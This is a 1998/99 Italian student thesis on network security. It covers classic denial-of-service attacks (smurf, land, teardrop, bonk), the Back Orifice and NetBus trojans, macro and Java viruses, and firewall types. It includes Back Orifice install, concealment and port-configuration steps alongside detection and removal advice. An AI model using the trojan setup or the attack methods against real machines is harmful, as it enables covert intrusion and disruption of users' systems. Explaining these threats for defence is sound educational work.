L A   S I C U R E Z Z A   I N   R E T E


TESINA di DE STEFANI ANDREA, SONCINI MASSIMO – cl. 5D  a.s. 1998/99

Prima di cominciare ad affrontare il discorso della sicurezza in rete è indispensabile definire un certo contesto nel quale questa è necessaria e capire cosa significa. Per questa ragione di seguito è dedicato un piccolo spazio al concetto di rete, ai suoi possibili utilizzi e ad una definizione di sicurezza.

Le reti

Negli ultimi anni si ha avuto un incremento esponenziale delle reti locali, con un conseguente aumento di informazioni che transitano da un computer all'altro. Essenzialmente una rete consiste proprio in questo: un collegamento (solitamente di tipo fisico) tra diversi computer (che possono avere architetture diverse) al fine di scambiare informazioni e condividere risorse limitate. Possiamo trovare, dunque, una rete in un qualsiasi ufficio, industria, organizzazione o, sempre di più, abitazione: di conseguenza le informazioni che viaggiano sul canale sono di tipi molto diversi tra loro. Per esempio una banca può effettuare transazioni da un qualsiasi terminale di una filiale, oppure una ditta può velocizzare notevolmente gli scambi di informazioni tra diversi uffici nello stesso stabile o addirittura in un'altra nazione. Vi è allora la distinzione tra reti locali (LAN, Local Area Network), metropolitane (MAN) ed estese (WAN, Wide Area Network); tuttavia questa distinzione è relativamente trascurabile per quanto riguarda il nostro problema: è possibile vedere Internet (la maggiore rete esistente al mondo) come l'insieme di tante LAN, MAN e WAN collegate tra loro.

Cosa si intende per sicurezza

Garantire la sicurezza in una rete significa restringere il più possibile le possibilità di intrusioni nel sistema (la totale sicurezza non può esistere); significa non permettere ad una persona non autorizzata di “entrare” nel nostro computer, accedere (magari modificandoli) ai nostri dati o controllare la nostra macchina.

La quantità di sicurezza da garantire è proporzionale all'importanza ed alla riservatezza dei dati da trasmettere: lo scambio di informazioni in una banca non può essere paragonato, in termini di rilevanza, ad un videogame giocato in rete da due amici; nel primo caso se una persona non autorizzata dovesse intercettare e, peggio ancora, modificare le informazioni si avrebbero serie conseguenze a differenza del secondo caso.
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P R E F A Z I O N E

Con questa tesina non pensiamo di mettere in luce tutte le questioni riguardanti la sicurezza in rete: ci rendiamo conto del fatto che sull’argomento si potrebbero scrivere libri interi senza riuscire ad esaurire tutto quello che c’è da dire. Questo, unito al fatto che l’argomento in questione è relativamente “giovane” e in continua evoluzione, non permette di tracciare un quadro completo della situazione, di tutti i possibili metodi di sicurezza. Supponendo anche solo di riuscire a raccogliere tutte le informazioni sulla sicurezza “ufficiale”, cioè i metodi standard, i più diffusi, una volta terminata la stesura del testo si avrebbe tra le mani un lavoro già “vecchio”: ogni giorno vengono scoperti nuovi “buchi” nei sistemi di sicurezza, di conseguenza ogni giorno nascono nuovi sistemi di protezione. Questo continuo evolversi nel mondo della sicurezza corrisponde ad un continuo miglioramento delle tecnologie hardware e software.

Abbiamo intenzione, con questa tesina, di introdurre al mondo della sicurezza in rete, senza soffermarci eccessivamente (per le ragioni dette sopra) su casi particolari: vogliamo dare delle conoscenze “di base” che permettano poi di affrontare ogni questione relativa al problema. Per far questo non ci limiteremo ad analizzare certi metodi (alcuni dei quali da noi sperimentati di persona), bensì cercheremo anche di capire come si comporta la legge italiana a riguardo, esploreremo il mondo che sta dietro gli schermi e scopriremo realtà sociali sconosciute ai più, soffermandoci sugli aspetti morali della questione. In questa breve tesi, dunque, il problema relativo alla sicurezza verrà visto dai due opposti punti di vista: quello di chi vìola le protezioni di un sistema e quello di chi deve predisporle e mantenerle.

Le ragioni che ci hanno spinto ad approfondire questo argomento sfruttando le nostre esperienze personali e le conoscenze apprese a scuola sono molteplici. La più forte è, probabilmente, la voglia di scoprire “quello che sta dietro”: analizzare la sicurezza di un certo sistema significa prima di tutto capire veramente come funziona il sistema stesso, conoscerlo completamente, magari anche più delle persone che l’hanno creato (alle quali spesso sfuggono piccoli particolari che possono poi diventare dei seri problemi per il sistema). Inoltre non abbiamo potuto fare a meno di subire il fascino di questo mondo ancora da scoprire, un mondo del quale poche persone ancora conoscono l’esistenza.

Le informazioni in questo nuovo millennio verso il quale ci stiamo dirigendo saranno sempre più preziose: in un prossimo futuro tutti i nostri dati personali e, forse, anche il nostro denaro, viaggeranno lungo le linee telefoniche di tutto il mondo; soprattutto per questo è indispensabile comprendere l’importanza della sicurezza in rete.

De Stefani Andrea

Soncini Massimo

D E N I A L   O F   S E R V I C E   ( D O S )

Per quanto riguarda la sicurezza a livello utente, uno dei pericoli più diffusi è quello degli attacchi "Denial of Service" (o, comunemente, "nuke"): una gamma di attacchi esterni che sfruttano alcune lacune del Tcp/Ip, il protocollo della rete Internet. Questi attacchi hanno come effetto una perdita della connessione o, altrettanto spesso, un crash del sistema. Oltre al crash spesso si rende necessario anche un reboot della macchina, dopo il quale, generalmente, questa riprende tranquillamente a funzionare. Di regola per gli utenti Windows è possibile vedere comparire sul proprio monitor la classica schermata bleu, detta anche "the blue death screen".

Di seguito verranno presentati alcuni di questi attacchi con dei riferimenti al loro funzionamento e alle conseguenze riportando anche porzioni del codice sorgente, scritto attraverso in linguaggio C di Unix. I sorgenti per Linux sono facilmente reperibili sulla rete Internet e devono poi essere compilati utilizzando il comando gcc nomefile.c.
Guardano i vari sistemi operativi in ordine alla generalità degli attacchi DoS, si può dire che tutte le piattaforme sono potenzialmente a rischio. Se invece si scende nel particolare, a seconda del tipo di attacco, esistono dei sistemi operativi maggiormente vulnerabili rispetto ad altri, sia per la mancanza di patch (letteralmente “pezze”, modifiche che risolvono vari problemi) realmente efficaci, sia per numero degli attacchi stessi in continuo aumento.

Attualmente uno dei sistemi meno vulnerabile ai DoS è Linux: va sottolineato però il fatto che nessun sistema operativo può definirsi a priori immune.

GLI ATTACCHI PIU’ COMUNI

Smurfing

Nella categoria degli attacchi chiamata in gergo "network-level attacks against hosts" lo smurf è uno dei più conosciuti. L'attacker spedisce un gran numero di richieste Ping broadcast a vari indirizzi di classe C. Tutti questi ping hanno un indirizzo di partenza falso, che coincide con quello di una terza macchina, reale oggetto di attacco. Il router inizia la trasmissione broadcast delle richieste ping ai vari computer "interlocutori", i quali costituiscono il mezzo inconsapevole dell'attacco. Naturalmente gli host medesimi rispondono positivamente ai ping, tutti sulla stessa macchina di destinazione (quella precedentemente "falsificata") che va in overload a causa del numero insostenibile delle richieste.

Questi attacchi possono essere portati anche con tools automatici e, come tutti gli altri, sono vietati e puniti dalla legge penale italiana.
Click

Click è il Nuke per antonomasia, chiamato anche ICMP nuke, ICMP_UNREACHABLE o ICMP dest_unreach bug, WinNewk/WinNewk-X. La sua operatività è a 360° gradi, quindi chiunque utilizzi uno stack Tcp Ip senza l'ausilio di un filtro può essere colpito.
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L’attacco provoca la disconnessione praticamente immediata da un server IRC (Internet Relay Chat); tuttavia il modem e lo stack funzionano, non avviene un crash o un reboot; successivamente le applicazioni Internet rallentano concretamente e, dopo 15-60 secondi cade la connessione. Questa può essere ristabilita successivamente senza problemi. Gli utenti Windows sono abitualmente liquidati da IRC con il solito messaggio: "Connection reset by peer", oppure "Connection refused", "Operation timed out" o ancora "Host unreachable". Il tipo di messaggio dipende da quale parte della connessione viene sottoposta ad attacco (server o local port). Anche per questo DoS è riportato il sorgente C in appendice.

gIMP – Programma di attacco che sfrutta il click
Land Attack

Land è stato segnalato per la prima volta verso la fine di novembre 1997. Ne sono ancora vittime Windows 95, Windows NT, Sun OS, molte versioni di BSD Unix. 

Land funziona in questo modo: la macchina "A" (attacker), manda un pacchetto "spoofato" (con l'indirizzo IP modificato) alla macchina "B". Questa genera, naturalmente, un "handshake" (stretta di mano, presa di contatto) tra il client e l'host contattato. Quando, come in questo caso, l'indirizzo IP del mittente (a mezzo spoofing) è identico a quello di destinazione, l'host bersaglio dell'attacco va in crash in quanto cerca di colloquiare con se stesso e non  può riuscire a portare a termine l'operazione.

Teardrop
E' conosciuto anche come tear, TCP/IP fragment bug, overlapfrag bug. Colpisce Windows 3.1/95/NT e Linux (con kernel precedente alla 2.0.32). Gli effetti di questo attacco sono il solito crash immediato con il consequenziale reboot.

Bonk

Questo tipo di attacco ha come varianti-alias: boink, newtear, teardrop2. Colpisce le piattaforme Windows 95/NT4 ed ha come sintomi il solito blue screen (ben noto agli utenti Windows) con crash conseguente. Trattandosi di un problema che affligge le piattaforme Windows, è la Microsoft a "sentire" maggiormente il problema.

Bonk funziona approfittando di un problema intrinseco dello stack Tcp/Ip di Microsoft, relativo alla gestione dei pacchetti "Udp Malformed". Di norma questi pacchetti non dovrebbero essere generati durante le normali sessioni Tcp/Ip. Naturalmente, in questi casi, le informazioni contenute nell'header (testa) del pacchetto sono volutamente errate; di conseguenza il sistema ricevente non sa gestirli e va in crash.

Il sorgente in linguaggio C riportato in appendice (reperibile senza problemi nella rete Internet) costruisce dei pacchetti Udp malformed e li invia al soggetto destinato all’attacco su un intervallo di port che deve essere specificato all’avvio del programma, insieme ad un indirizzo mittente (che si sotituisce al nostro) e all’IP del destinatario. 
POSSIBILI RIMEDI

Partendo dal presupposto che “fatta la legge, trovato l’inganno“, si può notare come appena trovata una patch subito vengono scoperti altri punti deboli dei sistemi. E’ quindi evidente come non sia possibile l’esistenza di un rimedio “definitivo” ai DoS.

Esistono tuttavia dei metodi di difesa generali: a seconda dei problemi che i vari attacchi sfruttano, si possono prendere le dovute misure; ad esempio, per quanto riguarda gli attacchi teardrop e derivati (bonk ecc.), è consigliato l’uso di un sistema di difesa perimetrale come il firewall (di cui si parlerà successivamente), che può filtrare i pacchetti Udp malformed; per difendersi dagli attacchi che sfruttano le debolezze dell’architettura Tcp/Ip invece sono necessarie delle patches specifiche, che escludono questo tipo di attacchi.
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Oltre che cercare di difendersi è possibile, utilizzando dei software facilmente reperibili in rete, memorizzare l’IP dell’attacker che sta cercando di mandare in crash il nostro sistema. Questi programmi generalmente sono sempre attivi e si pongono in ascolto di alcune porte (139,25 ecc.) per rilevare eventuali tentativi di violazione e avvertire l’utente.

ICMP Watch – Visualizza l’indirizzo IP dell’attacker
PERICOLO EFFETTIVO

Gli attacchi DoS non rappresentano un grandissimo attacco alla sicurezza, in quanto non hanno alcun effetto distruttivo. E’ comunque tutt’altro che piacevole essere vittima di questi: trovarsi il computer completamente bloccato, che non dà più nessun segno di vita, o (peggio ancora) vedere comparire la schermata blu di Windows con le solite scritte totalmente incomprensibili (i vari intervalli di memoria coinvolti nel problema, che non chiariscono mai cosa sia veramente successo al nostro sistema). Il vero problema, ad ogni modo, sorge quando si perde del lavoro prezioso a causa del crash del sistema: è dunque sempre buona abitudine, per quanto protetti si possa essere, salvare molto frequentemente i propri lavori in corso mentre si è collegati ad Internet.

I DoS presentati sono quelli fondamentali, probabilmente i primi ad essere stati sfruttati. Per questa ragione non rappresentano un grande pericolo: la maggior parte dei sistemi (anche le ultime versioni di win95 e win98) contengono già le patches; capita ancora, tuttavia, di trovare sistemi non protetti. Il vero “successo” dei DoS risale a circa 2 anni fa: in IRC era impossibile non sentir parlare di nuke e quasi tutti gli utenti di IRCnet ne sono stati vittime almeno una volta (magari senza neppure saperlo). La così elevata diffusione di questi attacchi è da ricondursi all’esistenza di numerosissimi “programmini”  estremamente facili da usare, che hanno regalato attimi di gioia a persone incompetenti che, senza avere la minima idea di come potesse essere possibile, passavano intere serate a “far cadere” (cioè disconnettere da Internet) una persona dopo l’altra.

B A C K   O R I F I C E

Back Orifice (abbreviato con BO) è un’applicazione client/server che permette la gestione remota di un certo computer da parte di un amministratore, il quale può sapere quello che viene fatto nel momento stesso sulla macchina remota e controllarla totalmente. Per comunicare con la macchina remota si possono utilizzare o un’interfaccia testuale o quella del client GUI, per Win32. Il server BO può funzionare solamente su sistemi Windows 95 o 98. 

Back Orifice pare, a prima vista, essere solo una normalissima applicazione di amministrazione remota. In realtà essa è stata concepita in modo
client visuale di BO [image: image2.png]




ambiguo. Il fatto che il server viene nascosto nel computer in modo molto attento e che, una volta eseguito il file di installazione del server BOSERVE.EXE, esso si cancella automaticamente, rende l’applicazione server praticamente invisibile all’utente; anche successivamente l’applicazione server viene attivata senza che l’utente se ne accorga e possa controllarla. Questo aspetto, unito al fatto che il server BO è presente su moltissimi computer della rete Internet senza che i possessori dei computer stessi ne siano a conoscenza, rende Back Orifice uno strumento alla portata di tutti (a patto che si sappia usare) per poter accedere illegalmente alle informazioni su diversi computer.

Il server BO viene diffuso per la maggior parte nella rete IRC (Internet Relay Chat): molto spesso entrando in un canale di discussione molto affollato (quale può essere il canale #italia) capita che qualche utente ci mandi la richiesta di spedirci un file. Accettando la richiesta ed eseguendo poi il file senza sapere cosa esso sia si apre inconsapevolmente il port 31337 del proprio computer e lo si espone a molti pericoli.

INSTALLAZIONE

Per poter amministrare in modo remoto una certa macchina con BO questa deve avere installato il server BO. L’installazione avviene semplicemente eseguendo il file BOSERVE.EXE; se il server non viene poi configurato per default rimane in ascolto sul port 31337. Una volta eseguito il file d’installazione del server viene cancellato automaticamente. Per configurare il server è necessario, prima di tutto, terminare il processo .EXE (si può benissimo utilizzare il client BO sulla macchina server con IP 127.0.0.1), il quale non è altro che l’applicazione server. Dopo di che va lanciata l’applicazione BOCONFIG.EXE, specificando la posizione ed il nome dell’applicazione server. Se è la prima volta che si configura il server il comando giusto dovrebbe essere il seguente:


BOCONFIG C:\WINDOWS\SYSTEM\EXE~1


E’ poi possibile modificare il nome dell’applicazione server (che non deve necessariamente avere estensione EXE), la porta sulla quale viene messo in ascolto il server BO, la descrizione che viene messa nel registro di configurazione per attivare l’applicazione server. E’ possibile, inoltre, settare una certa password per il server BO e specificare un certo plugin da eseguire ad ogni avvio.

Il server BO viene attivato automaticamente ogni volta che viene acceso il computer.

NON ESSERE VITTIME

Sebbene i sistemi Win95 e 98 non siano troppo sicuri (infatti BackOrifice non funziona, per ora, con sistemi operativi Unix o WinNT) lo sono abbastanza da garantire un minimo di sicurezza. Quello che va ad intaccare questa sicurezza (per fortuna degli hackers, le persone che penetrano nei sistemi altrui senza l’autorizzazione per farlo) è il comportamento sconsiderato delle persone che, non conoscendo a sufficienza la loro macchina, mettono i propri dati a rischio.

Il primo metodo per essere al sicuro da Back Orifice, dunque, è quello di saper utilizzare la propria macchina o, perlomeno, non esporla a pericoli che comporta l’installazione di programmi di provenienza non sicura. Ovviamente, una volta fatto il danno, è inutile “piangere sul latte versato”. Per controllare se è in ascolto il server di Back Orifice sul proprio computer è sufficiente lanciare il comando netstat -na da una sessione dos: se è presente la porta 31337 (la porta di default di BO, che può essere comunque configurata) o una porta non standard allora il server è presente. Per avere conferma di questo basta eseguire il client BO e fare un ping alla propria macchina: se si ha una risposta ovviamente il server è installato. Per cancellare il server è necessario, prima di tutto, terminare il processo attivo del server; per far questo si può utilizzare un programma di gestione dei processi (non fornito con windows) o il client di BO, con il comando PROCESS KILL. Una volta terminato il processo si deve fare questa modifica nel registro di configurazione di windows (eseguendo regedit):

HKEY_LOCAL_MACHINE

SOFTWARE

Microsoft\Windows

CurrentVersion

RunServices

Cancellare .exe in Predefinito.

Dopo di che uscire dal regedit e cancellare il file .exe nella directory \windows\system.

V I R U S   N E L L A   R E T E

Con l'integrazione tra le varie tipologie di rete pubbliche e private (LANs) stanno aumentando in maniera esponenziale i pericoli di esposizione agli attacchi interni o esterni (vedi DoS), che colpiscono le macchine collegate a Internet.

La tendenza generale, soprattutto dal punto di vista degli utenti semplici, è quella di installare una serie di prodotti per limitare gli attacchi conosciuti in un determinato momento e, successivamente, dimenticarli trascurandone gli aggiornamenti. Questo equivale a non avere difese perché, soprattutto nel campo dei virus, ci sono continue evoluzioni nella creazione di questi piccoli programmi che possono provocare svariati tipi di danni all’elaboratore sul quale vengono eseguiti.

In questa parte si vuole proprio approfondire il discorso dei virus, cercando di suddividere le novità dai "deja vu", i pericoli reali da quelli che potrebbero rimanere solo esperimenti accademici o, peggio ancora, delle trovate di marketing, per informare un eventuale utente sulla necessità di aggiornare la propria “copertura” verso questo tipo di attacchi.

I VIRUS HTML

Le prime segnalazioni relative ai virus Html risalgono ai primi di Dicembre 1998. Dal punto di vista generale, si può dire che questa nuova tipologia di computer viruses infetterebbe le pagine Web di macchine Windows NT server, con Internet Information Server (IIS) o qualsiasi macchina Windows sulla quale sia installato Windows Scripting Host. 

Il pericolo principale che si corre, eseguendo una pagina Web memorizzata localmente, sarebbe quello di infettare le altre pagine Web o danneggiare i file presenti sul sistema.

Come soluzione principale, viene suggerito agli utenti di rimuovere la Scripting Runtime Library presente sul sistema, se non necessaria. Al contrario, qualora la presenza della library fosse necessaria, bisognerà tenere aggiornato il proprio prodotto antivirus, verificare che le Web pages scaricate, salvate e lette in locale provengano da fonte attendibile, con particolare riferimento a quelle contenenti controlli ActiveX. Bisogna comunque ricordare che il veicolo principale di propagazione di questo tipo di Virus è VbScript, il linguaggio di automazione Web di Microsoft. Tuttavia sono stati molti i ricercatori che avrebbero ipotizzato anche simili pericoli generati da JavaScript.

Una volta stabilite le modalità di prevenzione, è comunque giusto che l’utente sappia che il rischio è relativo, così come confermato da fonti qualificate quali il CIAC, il CERT (organismi di controllo della sicurezza) e altre organizzazioni.

Il rischio viene definito basso soprattutto per chi naviga in quanto, per favorire l’infezione del virus, oltre alla consultazione della pagina Web scaricata in locale (non letta sul server), deve essere installata sulla macchina una scripting run-time library. Quest’ultima è normalmente presente solo sulle macchine Windows NT4 Server, su cui è anche installato Microsoft Internet Information Server. A meno che non sia stata richiesta come componente di Windows Scripting Host, la libreria non viene installata su macchine Windows NT Workstation o 9x.

Per prevenire l’infezione da parte di uno di questi viruses l’amministratore del server o qualsiasi utente che abbia installata la sopracitata scripting run-time library possono seguire questi consigli:

· Se non si stanno utilizzando pagine Asp (Active Server Pages, cioè pagine aggiornate dinamicamente per esempio da databases) Windows Scripting Host non bisognerà installare Scripting Run-time Library. 

· Allo stesso modo, pur in caso di utilizzo di Asp che, ad ogni modo, non devono accedere a file locali, non avendo bisogno della library "incriminata" bisognerà fare a meno di lei nella configurazione, eventualmente disinstallandola. 

Recentemente una combinazione tra html e bug di Microsoft Office è stata utilizzata da un writer presumibilmente russo per "Russian New Year Genuine and Dangerous". Si tratta non soltanto di un nuovo agente, ma anche di un nuovo approccio alle penetrazioni illecite. Gli scopritori di questo virus evidenziano che il codice utilizza una combinazione tra Html e una funzione di Microsoft Excel, per effettuare un attacco che avrebbe come risultato l'occultamento (e/o la sparizione) dei documenti utente all'insaputa di quest'ultimo. La cosa interessante è che Excel non deve essere lanciato in quel momento perché il virus faccia i suoi effetti, è sufficiente che sia installato. Il virus funziona con Excel97, non con Excel95. 

NUOVI TROJANS

A testimonianza del fatto che il mondo dei virus è in continua evoluzione, introduciamo anche il problema di alcuni trojan che hanno generato non pochi allarmi tra gli utenti.

La definizione più comune di Trojan è quella di un file che, occultato in un altro file apparentemente normale (solitamente un gioco, del freeware, ma anche del software non eseguibile) si insinua nella macchina ospite e ne inizia a condizionare il funzionamento.

BackOrifice (vedi documentazione allegata) è un trojan scoperto circa 8 mesi or sono, che ancor oggi sta dando problemi sia agli amministratori sia agli utenti di postazione.

Un altro trojan che agisce in maniera simile a BO è Netbus. Come Back Orifice, NetBus dà la possibilità al hacker di prendere il controllo di una determinata postazione, installandovi, per esempio, eseguibili di per sé stessi infetti. La recente letteratura ha individuato come mezzo di diffusione principale di NetBus il gioco chiamato Whack-a-Mole. In uno degli ultimi comunicati ufficiali di Norton Symantec è stato ricordato che la maggior parte degli antivirus è in grado di individuare questi file ma non di rimuovere l'agente. Per questo il file infetto deve essere cancellato. 

E’ stato detto che, come per Back Orifice, NetBus consente il controllo completo da remoto di una macchina. Al momento in cui scriviamo, però, c'è una differenza importante tra i due tool: NetBus funziona sia con NT sia con Win95/98, mentre BO solo su piattaforma 9x.

A prescindere dalle polemiche tra i produttori di antivirus circa i prodotti capaci o meno di individuare e, soprattutto, rimuovere questi trojans, nelle pagine ufficiali di BO e NetBus gli stessi autori indicano agli utenti come proteggersi dagli abusi di questi tool.

A testimonianza della diffusione di varie forme di Trojans, interviene un recente comunicato in cui si segnala l'esistenza di alcune copie di TcpWrappers in circolazione, contenenti trojan in grado di consentire ad un hacker di prendere possesso della macchina target.
TCP Wrappers è un tool gestito dall’importante esperto di sicurezza Wietse Venema (uno dei due creatori di SATAN, noto programma per testare la sicurezza di una rete) che viene di solito utilizzato per monitorare e filtrare sotto Unix le connessioni ai servizi di rete.

Recentemente si è avuto notizia che il file tcp_wrappers_7.6.tar.gz (il file che contiene il codice sorgente di tcpw 7.6) è stato modificato da un hacker e conterrebbe attualmente un Trojan horse che consentirebbe all'intruder di stabilire una connessione dalla porta sorgente 421 e di guadagnare i privilegi di superuser. L'azione di contrasto alla diffusione del trojan fatta dai creatori del software è stata sviluppata su più fronti (verifica e revisione del codice sorgente, spostamento di alcuni siti ftp a rischio), mentre il CERT ha effettuato una serie di controlli che possono essere visionati per la verifica dell' integrità dei file.

L’ultimo virus trojan trattato prende il nome di picture.exe. Si tratta di un eseguibile che viene allegato ad alcuni messaggi spam di posta elettronica; l'utente lancia l’allegato (anche se non dovrebbe farlo, naturalmente) , quest'ultimo cattura una serie di dati personali (password, User ID e così via) e li spedisce ad un indirizzo E-mail in Cina. Nonostante l'enfasi con la quale è stato lanciato questo allarme, quasi come si trattasse di una cosa inedita, c'è chi fa notare come si tratti di storie già viste. L'allarme, in questo caso, non risiede nel tipo di programma, ma nel fatto che, ancora una volta manca quasi del tutto l'educazione alla sicurezza preventiva, cioè l’utente è portato ad aprire tutto ciò che gli viene mandato, anche senza conoscerne il mittente.

MACRO VIRUSES

IL CASEMOTE EXPLORER”
Anche in questo campo, da alcuni mesi a questa parte sono molti i virus ad essere scoperti. Il problema è che, man mano aumenta l'utilizzo di Vba, aumentano anche le piattaforme colpite. Da non poco tempo, infatti, sono stati individuati virus per Access e per PowerPoint.

Il macro virus "Sticks and Stones" è uno dei più recenti e, fortunatamente, uno dei meno dannosi. Colpisce la piattaforma MsWord; una delle sue modalità di diffusione può naturalmente essere quella degli e-mail attachment (allegati). Il virus si installa come una macro. La sua azione è legata ad una data specifica, di solito il giorno quattordici di ogni mese. Quando Word viene aperto in quella data, il virus accede ai campi dove sono contenuti i dati identificativi del possessore del programma e visualizza una finestra di dialogo che dice: "[nome cognome ] is a stupid jerk." . Si tratta di uno slang tanto simpatico quanto fastidioso a lungo andare.

Un incaricato americano di Symantec, Eric Chin, che si occupa da anni di ricerca antivirus, ha manifestato il suo stupore per la capacità di riproduzione del macrovirus. Per quanto riguarda i prodotti in grado di riconoscerlo, in questo momento, oltre a Symantec, quasi tutti gli antivirus dovrebbero essere in grado di porre rimedio al problema.

I MacroVirus sono pronti anche per piattaforme non ancora in circolazione o di recentissima uscita. 

PandaSoftware (software house  famosa produttrice di antivirus) ha di recente informato gli utenti su un programma distruttivo che impedisce la visualizzazione dei documenti creati con il nuovo package di Microsoft. Il virus si chiama W2000M/PSD ed è il primo creato per Office 2000, rappresentato da una variante del più conosciuto W97M/PSD che infetta i files di Office ’97 .

Il virus è costituito da una sola macro, "Document_Open()", con due funzioni casualmente rinominate; disabilita le funzioni di sicurezza del TOOLS\MACRO menù, evitando che l’utente possa modificare queste opzioni. Le opzioni di sicurezza vengono poste al livello1 con la conseguente modifica nel registro di configurazione di sistema dell’attributo  (HKEY_CURRENT_USER\Software\Microsoft\office\9.0\word\security), disabilitando la protezione macro di word 9.0.

W2000M/PSD è un polimorfico (si modifica automaticamente) che cambia ogni sua variabile in modo casuale, comprendendo anche i nomi delle funzioni macro per ogni documento infettato.

Il virus ha i seguenti effetti distruttivi: quando ogni documento infetto viene aperto il virus controlla se il giorno ed il minuto corrisponde. In questo caso vengono create da 1 a 70 figure geometriche casuali a colori disposte sul testo in modo da impedire la corretta visualizzazione del documento.

IL CASO “REMOTE EXPLORER”

Si tratta di un Virus scoperto dai ricercatori di Network Associates. La notizia della sua scoperta ha provocato non poche polemiche, sia tra gli studiosi, sia tra i distributori stessi, alcuni dei quali si sono reciprocamente accusati di scorrettezze, relativamente alla diffusione dei rimedi. 

La storia di Remote Explorer è atipica per molti versi: la prima vittima, nota in comunità per la sua alta politica di sicurezza, è stata la MCI WorldCom. Si tratta di un prestigiosa azienda mondiale che, oltre a gestire le trasmissioni telefoniche, ha la responsabilità di gran parte della dorsale Internet worldwide (linee continentali molto veloci).

La notizia ha suscitato molto scalpore, a tal punto da interessare la Cnn, che ha di recente trasmesso un lungo reportage. 

Uno dei responsabili americani di Network Associates, che ha fornito l'iniziale assistenza, ha affermato che si tratterebbe di un vero e proprio episodio di cyberterrorismo e che potrebbe non rimanere isolato.

Remote Explorer ha un comportamento davvero "cattivo". Stando a quanto dichiarato dal portavoce di Nai (Network Associates Inc), questo virus sarebbe capace di comprimere gli eseguibili in modo tale da impedirne l'esecuzione ed eseguire crittografia sui file .txt e .html rendendoli indecifrabili. 


La propagazione del virus ( grande circa 120 k, una misura alquanto inusuale) avviene sulle reti Windows NT e approfitta dei privilegi propri dell'account Administrator. Pur colpendo, in definitiva, le reti Nt, in Network Associates ricordano che come mezzo di trasporto del virus possono essere utilizzate anche piattaforme diverse, come Windows 9x, Unix e Netware.

Le polemiche tra i distributori risiedono nelle modalità con le quali Nai avrebbe gestito il problema. In pratica Nai è stata accusata da alcune aziende in competizione (e anche dai più importanti forum sulla sicurezza internazionali), di non aver diffuso subito il codice virale di cui è venuta in possesso a seguito della scoperta. Per questo motivo avrebbe da un lato favorito, involontariamente, la diffusione del virus stesso e , dall'altro, danneggiato i clienti che non hanno una base installata Nai sui loro computer. D'altro canto, il portavoce di Network Associates ha affermato che si tratta di una scelta normale, in quanto finalizzata a preservare in primis l'integrità dei sistemi della propria clientela.

Un metodo per prevenire questo genere di contagio è utilizzare l'account administrator di Windows Nt soltanto nei casi di reale necessità per manutenzione straordinaria del sistema. Inoltre, che è precauzione comune creare un account amministrativo con un altro UserID (login) affidandogli i privilegi di amministrazione, lasciando a quello administrator il ruolo di semplice "specchietto per le allodole".

JAVA VIRUSES

Il dibattito tra gli esperti relativamente al rischio JavaVirus risale all'inizio dello scorso anno, quando Mark LaDue, un noto ricercatore americano, sollevò il dubbio che ciò potesse verificarsi. Tuttavia, come lo stesso LaDue evidenziò a suo tempo, ciò che rimaneva in "sospeso" era il fatto che un virus java potesse essere dannoso o meno per i computer colpiti.

Una prima scoperta di java Virus avviene verso la fine del 1998, quando il SARC della Symantec Corporation dichiara di aver scoperto e isolato "Strange Brew", un virus in grado di colpire le Java Application, con l’unica funzione di infector, quindi più fastidioso che realmente dannoso.

Recentemente, Strange Brew è stato affiancato da un altro virus, scoperto da un produttore di antivirus Austriaco. BeanHive ( è questo il nome dell'agente) viene descritto come più insidioso e difficile da individuare rispetto a Strange Brew. George Wu , un esperto di Ikarus Software (l'Isv che ha diramato l'advisor) ritiene che il virus costituisca un serio pericolo per gli utenti finali di AppletJava, al contrario di Strange Brew, che, per la sua natura, è definito "un giocattolo per sviluppatori”. Al momento in cui scriviamo non sono stati descritti i particolari circa l'attività che svolgerebbe BeanHive per prendere il possesso delle risorse di sistema. Tuttavia è da ritenersi che, con l'avvento del nuovo modello di sicurezza adottato da Java 2 (quello che era chiamato sino a poco tempo fa "Jdk 1.2" per intenderci) il problema vada visto da una duplice prospettiva. Il nuovo modelo di sicurezza, infatti, è fondamentalmente policy based. Per questo motivo, prescindendo dall'intervento di un antivirus, un'impostazione errata del meccanismo di sicurezza della Jvm (Java Virtual Machine) può effettivamente favorire le infezioni.

F I R E W A L L

Per firewall si intende, in generale, un sistema (o insieme di sistemi) che si interpone tra due reti per proteggere e rendere sicura una delle due. La configurazione classica (immagine sotto) a cui, per il momento, si farà riferimento, è quella di un firewall situato nel punto in cui una rete locale è connessa verso la rete esterna (Internet).

Il firewall protegge la rete locale controllando il traffico che viene scambiato dalla rete stessa con l’esterno ed è quindi uno degli strumenti di sicurezza fondamentali per ogni sistema distribuito soggetto potenzialmente a tutti i tipi di attacco visti precedentemente.

L’utilizzo dei firewall consente innanzitutto di restringere il numero dei punti d’accesso alla rete interna protetta. In questo modo è più facile controllare accuratamente chi vuole entrare e chi vuole uscire da una rete locale. Poiché tutto il traffico da o per la rete interna protetta passa attraverso il firewall, quest’ultimo è in grado  inoltre  di  verificare  se  il  traffico  è  ammissibile  o meno, vietando o permettendo di conseguenza determinate azioni.
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Firewall come separatore tra una sottorete interna e Internet
Concettualmente è possibile quindi vedere un firewall come:

· Punto di separazione della rete interna dall’esterno.
· Analizzatore del traffico da e per la rete protetta.
· Arbitro di azioni permesse e vietate.

Queste sono le funzioni comuni a tutti i tipi di firewall, la cui implementazione varia poi da modello a modello. Un firewall è un insieme di hardware (router, gateway, host o una combinazione di questi) e software (dedicato a ispezionare il traffico).
TIPOLOGIE

Esistono diverse tipologie di firewall, definite in base alle loro caratteristiche e finalità di utilizzo. Quelle che seguono sono le più note.

· Dual-homed host: indica genericamente un host con due interfaccie di rete, dette anche “home” (come nell’esempio della figura precedente), ognuna delle quali è collegata ad una rete diversa. Si possono definire anche firewall con più interfaccie (multi-homed host).

· Bastion host: host identificato dal gestore della rete come di rilevante importanza nella difesa di un sistema. In generale, i bastion host sono costruiti rispettando specifiche di sicurezza molto elevate, vengono sottoposti a verifiche con scadenza regolare e utilizzano programmi modificati rispetto a quelli distribuiti normalmente. Inoltre devono essere strettamente monitorati per individuare prove di collegamento ed in generale qualsiasi tentativo di attacco. Il dual-homed host nella figura precedente è un esempio tipico di bastion host.

· Packet Filter : macchina che esegue il filtraggio dei pacchetti (screening), dotata quindi di un dispositivo hardware o software che controlla selettivamente il flusso di dati da e per una rete. La selezione dei pacchetti è fatta in base a un insieme di regole che specificano quali tipi di pacchetti possono essere instradati e quali devono essere respinti. 

· Screening Router o Packet Filtering Router: router che esegue anche il filtraggio dei pacchetti.

· Proxy server: host che si connette a server esterni, richiedendone dei servizi per conto dei propri client (solitamente le macchine della sottorete interna).

POLITICHE DI SICUREZZA

